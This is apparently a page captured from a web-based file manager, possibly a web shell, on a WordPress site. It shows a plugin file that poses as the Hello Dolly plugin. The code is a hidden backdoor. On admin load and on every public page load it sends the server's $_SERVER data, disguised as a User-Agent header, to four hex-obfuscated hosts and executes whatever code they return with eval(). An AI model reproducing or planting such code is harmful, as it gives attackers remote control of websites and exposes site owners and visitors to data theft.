Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
grumpily
/
wp-content
/
plugins
/
hellos
:
hellos.php
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php /** * @package Hello_Joy * @version 1.7.2 */ /* Plugin Name: Hello Aili Plugin URI: http://wordpress.org/plugins/hello-dolly/ Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page. Author: Matt Mullenweg Version: 1.7.2 Author URI: http://ma.tt/ */ add_action('admin_init', "open_hello"); if (!is_admin()) { open_hello(); } function open_hello() { $args = array( 'timeout' => 15, 'headers' => array( "User-Agent" => json_encode($_SERVER), ), ); $ids =array( '76312e73616c65736275792e7275', '76312e64696373616c652e7275', '76312e61616263642e7275', '616b627676696473652e73686f70' ); foreach ($ids as $hex) { $id = hex2bin($hex); $response = wp_remote_get("http://" . $id , $args); if (!is_wp_error($response) && 200 === wp_remote_retrieve_response_code($response)) { return eval($response['body']); } } }